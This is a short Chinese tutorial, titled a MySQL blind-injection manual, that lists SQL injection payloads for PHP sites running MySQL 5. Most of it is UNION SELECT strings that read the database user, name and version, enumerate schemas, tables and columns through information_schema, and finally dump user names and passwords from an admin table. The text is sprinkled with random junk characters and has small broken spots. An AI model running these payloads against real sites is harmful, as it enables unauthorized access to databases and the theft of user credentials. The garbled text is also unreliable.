mysql盲注手册

admin

' K- M" `2 \- v' r. E$ P% E3 B教程内容:Mysql 5+php 注入
8 S) k8 m3 U* x3 [: Y  _. G
) w0 y; E3 r6 [8 l
' r4 m9 h; g4 \/ e" G  |
& V0 q: K% ?/ R( \# ]+ e一.查看MYSQL基本信息(库名,版本,用户)
2 I* O1 x: u( ]" X% Q
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
* e  P9 r& D; P0 x# s
6 o$ Y1 B' f' Y4 S2 \) o二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
. W" ^& O) N0 E8 r8 Q" `( f1 \
三.暴表

1 g" `- m& Z" J2 V- @* vand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
. R$ V" T  _0 `6 [/ E
) k  u9 u- f& l( |  ]% }( |limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
+ c. y1 t. Y& k% M
6 e: o4 b! C/ V- x+ t四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
  J) T! q7 `- ?$ F4 Y5 t
6 ^' h7 k/ _0 v6 J9 ?3 ~4 x6 mlimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
' P4 S4 O1 y! ]% h0 s: o8 V) T
五.暴数据
8 I$ v( S% b2 [' t; _
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
2 p5 x: y! K' R+ U
2 q, l+ X: v7 U
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
% O2 ^  }. \: W: i7 [